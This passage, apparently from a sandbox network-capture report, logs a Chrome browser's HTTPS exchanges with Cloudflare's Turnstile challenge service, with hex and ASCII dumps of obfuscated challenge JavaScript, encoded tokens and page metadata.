s.g][3]^j[iu(1049)](this.h[21^this.g][1][iu(1587)](this.h[j[iu(1119)](21,this.g)][0]++),227)+256&255.34^133^this.g],n=l[iu(1376)](),this.h[n^this.g]=m,this.h[j[iu(194)](79,this.g)][iu(549)](l[iu(1376)]())})},'g':function(i,j,o,iv,s,x,B,C,D,E,F,G,H,I,J,K,L
2024-10-25 08:19:59 UTC	1369	IN	Data Raw: 69 66 28 64 5b 69 76 28 31 35 34 30 29 5d 28 32 35 36 2c 43 5b 69 76 28 31 35 38 37 29 5d 28 30 29 29 29 7b 69 66 28 69 76 28 38 37 32 29 21 3d 3d 69 76 28 31 32 36 36 29 29 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 64 5b 69 76 28 31 34 38 39 29 5d 28 49 2c 64 5b 69 76 28 35 38 38 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 69 76 28 31 33 30 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 69 76 28 31 35 38 37 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 4d 26 31 2e 30 38 7c 48 3c 3c 31 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 69 76 28 31 33 30 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 20 72 65 74 75 72 6e 20 47 5b 69 76 28 36 Data Ascii: if(d[iv(1540)](256,C[iv(1587)](0))){if(iv(872)!==iv(1266)){for(s=0;s<F;H<<=1,d[iv(1489)](I,d[iv(588)](j,1))?(I=0,G[iv(130)](o(H)),H=0):I++,s++);for(M=C[iv(1587)](0),s=0;8>s;H=M&1.08\|H<<1,I==j-1?(I=0,G[iv(130)](o(H)),H=0):I++,M>>=1,s++);}else return G[iv(6
2024-10-25 08:19:59 UTC	1369	IN	Data Raw: 29 5e 31 30 38 2c 74 68 69 73 2e 67 29 5d 3b 65 6c 73 65 7b 47 5b 69 76 28 31 33 30 29 5d 28 64 5b 69 76 28 31 35 33 29 5d 28 6f 2c 48 29 29 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 69 76 28 31 33 38 33 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 77 29 7b 72 65 74 75 72 6e 20 69 77 3d 69 73 2c 64 5b 69 77 28 31 34 38 39 29 5d 28 6e 75 6c 6c 2c 68 29 3f 27 27 3a 68 3d 3d 27 27 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 69 77 28 32 30 30 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 69 78 29 7b 72 65 74 75 72 6e 20 69 78 3d 69 77 2c 68 5b 69 78 28 31 35 38 37 29 5d 28 69 29 7d 29 7d 2c 27 69 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 69 79 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c Data Ascii: )^108,this.g)];else{G[iv(130)](d[iv(153)](o,H));break}}else I++;return G[iv(1383)]('')},'j':function(h,iw){return iw=is,d[iw(1489)](null,h)?'':h==''?null:f.i(h[iw(200)],32768,function(i,ix){return ix=iw,h[ix(1587)](i)})},'i':function(i,j,o,iy,s,x,B,C,D,E,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	50147	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:00 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1954702431:1729840526:lxWgwBVacrfPgN4BGZrmhPGM6SZGVVCL-6CofhKI-F8/8d80c8d89fe42e6c/sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3185 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: sGFNgZYAe5uZRUHcJH.HG1GYudzMM6S9a_B5vHftWOs-1729844396-1.1.1.1-O7jpRdwhk8XXkKKru9Jx5RvmC78MpNpUzinWlkzgNoD8o42Wmvey1QhvpzLPqyt0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:00 UTC	3185	OUT	Data Raw: 76 5f 38 64 38 30 63 38 64 38 39 66 65 34 32 65 36 63 3d 63 78 2d 30 64 30 51 30 70 30 74 30 41 30 6d 54 5a 38 54 69 5a 53 30 44 65 4e 7a 76 46 5a 37 5a 39 75 30 38 6b 30 5a 66 2d 5a 77 30 53 7a 49 6a 5a 31 30 49 65 7a 30 69 46 53 2d 5a 46 30 72 78 46 49 4b 5a 63 54 24 5a 44 6a 48 45 30 72 63 6b 41 32 76 30 5a 71 79 48 2d 5a 6d 5a 4e 6b 71 48 5a 47 30 69 62 5a 37 48 76 32 69 47 7a 4d 4b 6b 72 37 72 5a 53 4c 43 5a 64 24 72 44 5a 43 47 2d 36 6e 57 50 71 79 37 56 63 58 65 6e 66 4f 73 24 72 54 6d 46 43 5a 72 53 57 47 47 63 6a 32 7a 5a 41 65 5a 39 44 36 47 6e 6c 24 24 31 5a 5a 78 58 6d 32 6b 31 6b 6e 7a 6b 5a 44 53 25 32 62 56 76 34 73 5a 72 41 70 5a 53 41 5a 76 24 5a 54 6d 30 72 34 6d 30 5a 31 63 43 57 33 58 63 65 59 5a 53 76 33 5a 72 46 78 43 5a 6f 6d 5a 6c Data Ascii: v_8d80c8d89fe42e6c=cx-0d0Q0p0t0A0mTZ8TiZS0DeNzvFZ7Z9u08k0Zf-Zw0SzIjZ10Iez0iFS-ZF0rxFIKZcT$ZDjHE0rckA2v0ZqyH-ZmZNkqHZG0ibZ7Hv2iGzMKkr7rZSLCZd$rDZCG-6nWPqy7VcXenfOs$rTmFCZrSWGGcj2zZAeZ9D6Gnl$$1ZZxXm2k1knzkZDS%2bVv4sZrApZSAZv$ZTm0r4m0Z1cCW3XceYZSv3ZrFxCZomZl
2024-10-25 08:20:00 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:00 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149816 Connection: close cf-chl-gen: RrHxVxu6ciFHkBH9G1I7j2AK+SL6+30RZBzT0hRbEldgvlwDK2a+ykGMgfq90do7O8DP02VfrM0g6mQf65CUX+t15gHmr/u6t1+h00X9dj7nQ5DoAKWB4s6DP8VLjSttM2fzTuRhiJ4pqnBJOmeCYhslsdh/HA3ZslTBfDeEwowMtaZ7oyb2xoVPhSlAXLFYMglhDuy/TU/hXXSYaQhor0EFz/R5r2vugwiZHNu8z1jDPc3p2boVM8dbVdGW/RozPMRSzTPoi3DE6XOI28TyuP929diAtDIHceefw0ZC5wG9JbLWhYIh89TUAx1bX0gWSyDlcGdw+uFbBQ01A3HjBV8oX7zOuwJhlVmmvoppfyBvRHsWNAZrUmloLREtoFIrRUkRAzaTIX6oip3uh92QVQ0aFQ4jZco/5gptLotpswjtFVKBP+BEbymSdxwIdBbJimz9boB6p1rYATXhHUlriNpe5UQHvCAwmV6DrCzkppVicEM=$9DYxMVoiFYxY+if9 Server: cloudflare CF-RAY: 8d80c8eeea18e936-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:20:00 UTC	622	IN	Data Raw: 69 6b 43 4c 61 49 52 66 65 32 79 46 69 45 6c 66 53 33 64 78 6a 49 79 52 5a 58 47 4c 57 56 78 2b 6e 31 68 67 67 4a 79 64 63 47 43 66 65 35 74 38 5a 32 32 44 65 61 53 45 69 59 36 64 68 47 39 7a 63 72 53 50 68 72 43 51 6d 4c 71 78 6b 35 6d 62 77 33 79 68 70 4c 2b 44 78 37 6e 42 77 74 43 74 7a 34 69 78 73 4d 36 53 77 37 6e 4b 30 62 47 79 7a 35 75 70 76 39 43 32 75 70 33 59 75 62 53 61 32 65 44 49 6e 74 33 6b 6f 63 50 65 36 4c 44 54 35 37 58 4f 73 75 7a 4d 34 39 72 6f 74 2f 4c 37 38 2b 33 38 7a 37 66 58 34 66 76 35 41 63 6a 68 41 67 58 4d 34 77 48 70 38 76 54 53 79 42 59 4d 36 67 58 52 32 42 2f 65 32 67 49 63 43 2f 72 68 2f 4f 50 66 42 65 67 64 44 51 41 4a 49 53 4d 42 44 44 51 4a 44 42 49 45 4c 67 54 72 4a 66 45 6f 44 43 67 4f 4d 76 34 34 52 42 30 37 50 55 41 Data Ascii: ikCLaIRfe2yFiElfS3dxjIyRZXGLWVx+n1hggJydcGCfe5t8Z22DeaSEiY6dhG9zcrSPhrCQmLqxk5mbw3yhpL+Dx7nBwtCtz4ixsM6Sw7nK0bGyz5upv9C2up3YubSa2eDInt3kocPe6LDT57XOsuzM49rot/L78+38z7fX4fv5AcjhAgXM4wHp8vTSyBYM6gXR2B/e2gIcC/rh/OPfBegdDQAJISMBDDQJDBIELgTrJfEoDCgOMv44RB07PUA
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 4e 51 59 43 41 66 4c 53 42 4f 47 31 46 6c 47 6a 39 47 5a 57 4a 6c 52 56 39 42 5a 47 70 6b 61 6b 74 43 58 30 6c 51 52 54 6b 35 53 58 52 33 65 45 74 72 65 45 31 46 56 6c 31 44 64 56 6c 62 58 6d 56 65 5a 6b 4a 5a 67 6c 2b 49 61 58 46 4e 69 49 68 32 63 34 6c 54 63 46 74 36 64 5a 52 64 6e 57 56 6a 6c 48 43 53 6d 4a 4f 67 70 70 71 6c 71 70 4b 4a 6b 70 43 6a 71 70 64 7a 64 34 36 6b 6c 4c 6d 78 6a 33 75 79 65 62 75 78 65 37 64 39 75 70 69 36 74 59 6d 4d 76 4d 75 2f 73 64 50 4a 6c 4e 61 2f 75 4e 62 46 6b 4e 53 35 75 4e 43 35 76 62 61 34 76 62 65 30 34 4a 36 31 79 4a 7a 61 6f 71 69 6e 38 4c 75 70 79 2b 2f 6d 37 63 79 33 37 74 62 35 79 4d 72 32 31 4e 58 71 33 67 4c 51 34 76 37 63 33 63 66 6d 43 74 72 46 42 2b 54 6d 43 2b 34 53 34 75 49 50 37 4f 2f 73 39 68 72 6c 36 Data Ascii: NQYCAfLSBOG1FlGj9GZWJlRV9BZGpkaktCX0lQRTk5SXR3eEtreE1FVl1DdVlbXmVeZkJZgl+IaXFNiIh2c4lTcFt6dZRdnWVjlHCSmJOgppqlqpKJkpCjqpdzd46klLmxj3uyebuxe7d9upi6tYmMvMu/sdPJlNa/uNbFkNS5uNC5vba4vbe04J61yJzaoqin8Lupy+/m7cy37tb5yMr21NXq3gLQ4v7c3cfmCtrFB+TmC+4S4uIP7O/s9hrl6
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 78 58 79 56 41 57 55 6c 58 59 6d 42 5a 53 79 70 4f 4c 48 42 73 61 45 42 68 4c 6c 52 45 54 47 78 35 66 55 74 70 57 6b 35 36 68 48 55 37 55 33 46 68 68 49 4b 4d 66 47 52 5a 57 58 46 79 52 47 69 50 6b 32 6c 4f 54 6c 52 54 6d 6f 57 53 66 33 74 61 6a 58 64 76 64 70 39 37 6d 61 69 6a 66 35 35 32 70 34 4f 6a 69 71 75 48 70 72 53 76 69 36 75 43 73 34 2b 77 6c 72 65 54 74 4c 43 37 6c 37 69 57 73 35 71 31 65 73 4f 34 6e 71 50 4e 72 71 65 66 70 63 48 48 71 39 57 78 31 63 37 53 78 35 66 4a 72 4e 37 62 33 65 47 75 77 37 4c 56 30 5a 32 67 74 64 4f 36 32 74 72 71 75 4c 75 71 38 71 6d 73 38 2b 44 6a 71 75 76 36 38 64 57 31 36 4e 36 34 31 37 33 61 77 76 7a 69 78 4f 50 68 78 74 33 48 36 67 58 62 38 4f 58 70 7a 2b 58 76 45 67 7a 34 38 2f 63 4e 46 4f 2f 71 43 52 63 57 2b 78 Data Ascii: xXyVAWUlXYmBZSypOLHBsaEBhLlRETGx5fUtpWk56hHU7U3FhhIKMfGRZWXFyRGiPk2lOTlRTmoWSf3tajXdvdp97maijf552p4OjiquHprSvi6uCs4+wlreTtLC7l7iWs5q1esO4nqPNrqefpcHHq9Wx1c7Sx5fJrN7b3eGuw7LV0Z2gtdO62trquLuq8qms8+Djquv68dW16N64173awvzixOPhxt3H6gXb8OXpz+XvEgz48/cNFO/qCRcW+x
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 62 46 30 72 4f 31 6c 4a 63 47 70 30 5a 6b 42 44 59 56 42 6f 63 45 6c 79 57 6e 6c 78 62 47 30 39 56 46 51 38 58 33 56 35 51 6f 46 62 52 33 68 6a 52 6d 61 4c 5a 34 57 55 6a 32 75 4b 59 70 4e 76 6a 33 61 58 63 35 4a 67 66 33 31 68 64 34 39 39 5a 5a 4a 66 6c 59 53 4c 66 48 6d 6c 67 58 36 69 63 72 52 6e 62 4c 43 72 6c 4b 36 58 72 34 71 74 6d 59 75 64 72 35 4b 42 77 72 6a 41 6c 35 4b 63 6d 71 43 67 72 4d 47 4d 79 73 79 46 6e 36 6d 2f 70 4c 61 7a 79 39 50 5a 33 5a 6e 66 74 4e 62 55 6c 64 6d 32 34 71 47 34 32 64 4c 72 34 4f 33 6f 77 62 6a 4b 71 4b 72 54 70 38 50 6b 31 2f 69 78 2b 4d 2f 58 31 74 6e 51 76 39 58 72 37 51 50 46 2b 74 6e 46 38 38 6a 6d 2f 66 33 65 37 52 45 43 2b 2f 51 41 7a 42 51 4c 38 4f 77 4e 47 68 37 72 43 76 72 75 47 79 55 57 32 2f 4d 53 41 69 55 Data Ascii: bF0rO1lJcGp0ZkBDYVBocElyWnlxbG09VFQ8X3V5QoFbR3hjRmaLZ4WUj2uKYpNvj3aXc5Jgf31hd499ZZJflYSLfHmlgX6icrRnbLCrlK6Xr4qtmYudr5KBwrjAl5KcmqCgrMGMysyFn6m/pLazy9PZ3ZnftNbUldm24qG42dLr4O3owbjKqKrTp8Pk1/ix+M/X1tnQv9Xr7QPF+tnF88jm/f3e7REC+/QAzBQL8OwNGh7rCvruGyUW2/MSAiU
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 46 73 38 4b 30 52 6d 59 54 5a 75 51 33 70 62 55 33 78 78 57 6f 4a 64 54 56 74 2f 65 47 39 57 61 48 69 48 66 6e 35 69 6a 6e 31 5a 6a 70 52 50 59 35 4a 4f 6b 4a 6c 55 6d 4a 4e 75 64 4a 47 57 65 6e 4e 7a 63 47 46 31 6d 32 53 46 59 5a 70 71 6e 5a 78 34 66 33 6d 75 74 47 2b 45 6c 6e 46 34 73 71 6c 79 6b 5a 57 75 77 4b 69 66 67 49 75 52 6b 4b 4b 66 6b 49 61 42 77 37 69 4a 71 4b 71 68 69 4c 79 75 70 61 75 2f 6c 61 66 4d 6c 63 50 4c 70 74 4b 52 33 36 36 76 6f 64 37 68 73 65 57 78 74 64 75 69 36 74 79 33 37 75 58 4c 73 63 71 78 73 4d 33 47 35 36 75 31 77 38 37 38 2f 4e 6e 59 37 73 79 37 35 64 76 78 34 2b 6e 53 78 66 6a 2b 35 75 34 46 43 75 4d 4e 79 66 50 4e 39 51 2f 50 45 76 62 58 35 52 6b 4a 2f 50 73 56 38 52 48 30 32 2b 49 6b 48 78 38 6a 44 64 34 65 41 4f 58 6f Data Ascii: Fs8K0RmYTZuQ3pbU3xxWoJdTVt/eG9WaHiHfn5ijn1ZjpRPY5JOkJlUmJNudJGWenNzcGF1m2SFYZpqnZx4f3mutG+ElnF4sqlykZWuwKifgIuRkKKfkIaBw7iJqKqhiLyupau/lafMlcPLptKR366vod7hseWxtdui6ty37uXLscqxsM3G56u1w878/NnY7sy75dvx4+nSxfj+5u4FCuMNyfPN9Q/PEvbX5RkJ/PsV8RH02+IkHx8jDd4eAOXo
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 38 30 4e 31 63 30 63 46 5a 61 58 47 6d 42 51 33 4a 6d 5a 44 31 31 52 49 52 46 56 30 56 74 68 6b 4a 5a 65 32 46 70 6c 6d 61 54 55 34 4e 6b 63 6c 6c 64 65 6c 75 51 58 58 4e 2f 67 48 35 34 67 32 4f 47 71 58 65 4e 61 49 56 74 62 49 75 75 70 36 71 50 6b 61 4a 30 72 5a 43 74 64 33 71 5a 74 5a 47 74 6a 71 79 36 70 4d 57 48 6b 70 61 70 66 59 65 35 75 49 58 42 75 70 36 71 73 61 53 66 73 63 36 58 6b 4d 71 37 71 63 66 48 32 70 7a 54 34 65 4c 5a 78 4e 54 5a 30 74 53 31 72 4d 53 67 78 4f 72 50 75 75 66 67 74 65 58 46 35 62 65 7a 73 62 4b 33 2f 50 33 32 75 37 2f 72 32 2f 54 39 31 67 6e 37 39 64 59 4e 32 4d 33 65 2f 67 51 42 33 65 37 64 38 65 62 67 7a 78 4c 6e 45 51 63 53 37 50 77 42 48 52 6a 30 49 76 51 58 46 2f 34 6a 4b 4f 4c 6f 35 79 2f 37 36 51 77 79 45 53 34 4e 37 Data Ascii: 80N1c0cFZaXGmBQ3JmZD11RIRFV0VthkJZe2FplmaTU4NkclldeluQXXN/gH54g2OGqXeNaIVtbIuup6qPkaJ0rZCtd3qZtZGtjqy6pMWHkpapfYe5uIXBup6qsaSfsc6XkMq7qcfH2pzT4eLZxNTZ0tS1rMSgxOrPuufgteXF5bezsbK3/P32u7/r2/T91gn79dYN2M3e/gQB3e7d8ebgzxLnEQcS7PwBHRj0IvQXF/4jKOLo5y/76QwyES4N7
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 75 63 6c 34 36 54 32 52 66 58 32 43 46 59 55 57 49 53 6f 52 71 54 6c 31 6d 61 47 6d 48 61 6e 64 7a 5a 46 46 6f 69 6e 70 58 61 59 32 65 56 35 4f 57 64 6e 39 34 6c 33 69 6c 66 61 6c 69 6f 59 71 6d 70 61 6d 4e 70 35 56 2f 69 36 61 71 6c 6e 4b 48 6e 4a 65 58 6d 4c 32 5a 66 63 43 43 76 4b 4b 46 75 35 36 67 6e 59 4f 4a 6f 4b 6d 63 7a 4a 36 70 78 36 71 33 73 36 53 52 71 4d 71 36 79 71 6e 4e 33 70 66 57 31 72 61 2f 75 4e 65 34 35 62 33 70 6f 75 58 4b 36 62 37 50 7a 75 54 55 37 64 48 70 79 4c 62 50 31 4e 76 64 31 2b 32 38 7a 73 2f 43 42 76 57 38 2f 73 44 6b 43 65 66 44 79 4d 76 72 79 41 58 71 37 76 44 39 34 77 4d 54 38 2f 6a 6d 7a 67 72 36 46 2f 41 61 38 68 54 66 49 79 62 6b 4a 77 73 59 34 53 51 6f 44 50 34 48 48 43 2f 2b 4b 69 4d 71 42 75 72 77 4e 41 63 79 4c 7a Data Ascii: ucl46T2RfX2CFYUWISoRqTl1maGmHandzZFFoinpXaY2eV5OWdn94l3ilfalioYqmpamNp5V/i6aqlnKHnJeXmL2ZfcCCvKKFu56gnYOJoKmczJ6px6q3s6SRqMq6yqnN3pfW1ra/uNe45b3pouXK6b7PzuTU7dHpyLbP1Nvd1+28zs/CBvW8/sDkCefDyMvryAXq7vD94wMT8/jmzgr6F/Aa8hTfIybkJwsY4SQoDP4HHC/+KiMqBurwNAcyLz
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 50 56 52 58 67 33 74 65 52 59 78 41 65 34 56 6f 6b 4a 4a 6d 63 49 4e 66 6c 32 5a 32 6a 46 79 54 6e 35 6c 34 6b 70 52 39 64 48 74 2f 68 5a 6d 47 6b 6e 39 71 66 5a 74 72 66 4a 31 39 70 61 6d 51 6a 4a 57 70 6a 37 75 4c 6b 70 61 74 72 58 79 52 6c 5a 53 34 74 62 4b 36 66 38 53 33 6d 72 2b 36 78 4b 65 69 71 71 71 38 77 70 57 66 70 61 47 59 77 71 75 31 70 62 71 61 30 70 6a 56 75 5a 2b 75 76 70 2b 30 73 63 44 55 72 4f 48 5a 32 36 72 6f 38 74 2b 74 72 75 58 67 37 66 58 43 35 62 61 39 75 2b 6e 4d 30 39 69 31 2b 51 48 44 31 75 49 48 43 50 50 63 42 38 54 6f 77 67 38 52 30 74 7a 50 44 74 54 75 44 38 7a 71 39 4f 67 57 31 66 50 30 48 77 50 73 45 66 59 68 34 67 51 70 4b 42 2f 6a 4d 42 41 6a 38 52 73 54 45 76 34 53 46 68 59 77 42 78 41 4d 4f 44 33 38 2b 54 59 42 2b 78 45 Data Ascii: PVRXg3teRYxAe4VokJJmcINfl2Z2jFyTn5l4kpR9dHt/hZmGkn9qfZtrfJ19pamQjJWpj7uLkpatrXyRlZS4tbK6f8S3mr+6xKeiqqq8wpWfpaGYwqu1pbqa0pjVuZ+uvp+0scDUrOHZ26ro8t+truXg7fXC5ba9u+nM09i1+QHD1uIHCPPcB8Towg8R0tzPDtTuD8zq9OgW1fP0HwPsEfYh4gQpKB/jMBAj8RsTEv4SFhYwBxAMOD38+TYB+xE
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 56 31 69 66 4a 46 70 52 47 56 4e 59 57 46 75 67 70 6c 69 6a 4a 4b 49 68 33 75 51 62 6e 46 56 62 6d 39 79 5a 6e 4a 6e 67 5a 6d 58 6e 70 74 6f 72 49 43 4b 61 33 36 49 69 36 36 68 73 34 4b 58 6b 5a 61 47 69 72 52 33 6a 62 69 6a 77 49 4f 78 76 63 54 46 76 4d 47 4e 69 37 32 66 6b 63 36 39 6a 73 32 66 7a 4c 66 4d 6c 38 57 72 6e 64 44 4a 73 70 37 51 75 39 71 6a 6f 39 4f 69 33 39 57 39 6e 71 33 6b 33 2b 32 78 77 72 48 77 71 36 2b 79 71 71 2b 73 78 75 6d 7a 73 4d 66 38 77 50 44 41 37 64 67 44 35 74 44 30 32 67 58 47 35 77 30 4d 41 38 63 55 38 77 66 56 2f 76 62 31 34 76 58 35 2b 52 54 71 38 2b 38 63 49 65 44 64 47 75 54 66 39 50 67 64 4c 43 6b 4b 49 41 59 53 4d 65 30 4f 43 75 7a 73 42 41 58 34 37 42 4d 74 4d 50 41 2f 4d 6a 34 77 46 42 38 42 45 51 55 44 4f 51 73 59 Data Ascii: V1ifJFpRGVNYWFugplijJKIh3uQbnFVbm9yZnJngZmXnptorICKa36Ii66hs4KXkZaGirR3jbijwIOxvcTFvMGNi72fkc69js2fzLfMl8WrndDJsp7Qu9qjo9Oi39W9nq3k3+2xwrHwq6+yqq+sxumzsMf8wPDA7dgD5tD02gXG5w0MA8cU8wfV/vb14vX5+RTq8+8cIeDdGuTf9PgdLCkKIAYSMe0OCuzsBAX47BMtMPA/Mj4wFB8BEQUDOQsY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	50146	104.18.94.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:20:00 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c8d89fe42e6c&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:20:00 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:20:00 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 119673 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8d80c8eeee8746d7-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:20:00 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 76 45 73 72 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.vEsr2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 74 75 63 6b 25 32 30 68 65 72 65 25 33 46 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 70 72 69 76 61 63 79 22 3a 22 50 72 69 76 61 63 79 22 2c 22 6e 6f 74 5f 65 6d 62 65 64 64 65 64 22 3a 22 54 68 69 73 25 32 30 63 68 61 6c 6c 65 6e 67 65 25 32 30 6d Data Ascii: eedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","turnstile_overrun_description":"Stuck%20here%3F","testing_only":"Testing%20only.","turnstile_footer_privacy":"Privacy","not_embedded":"This%20challenge%20m
2024-10-25 08:20:00 UTC	1369	IN	Data Raw: 34 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 34 37 32 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 35 34 34 29 29 2f 38 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 38 30 31 29 29 2f 39 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 34 30 36 29 29 2f 31 30 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 34 33 34 37 31 30 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 31 33 39 34 29 5d 2c 65 4d 5b 67 4c 28 31 35 33 31 29 5d 3d 21 5b 5d 2c 65 4d 5b 67 4c 28 35 31 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 37 29 7b 69 66 28 68 37 3d 67 4c 2c 65 4d 5b 68 37 28 Data Ascii: 4))/6)+-parseInt(gK(472))/7*(-parseInt(gK(544))/8)+-parseInt(gK(801))/9+parseInt(gK(1406))/10,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,434710),eM=this\|\|self,eN=eM[gL(1394)],eM[gL(1531)]=![],eM[gL(513)]=function(h7){if(h7=gL,eM[h7(
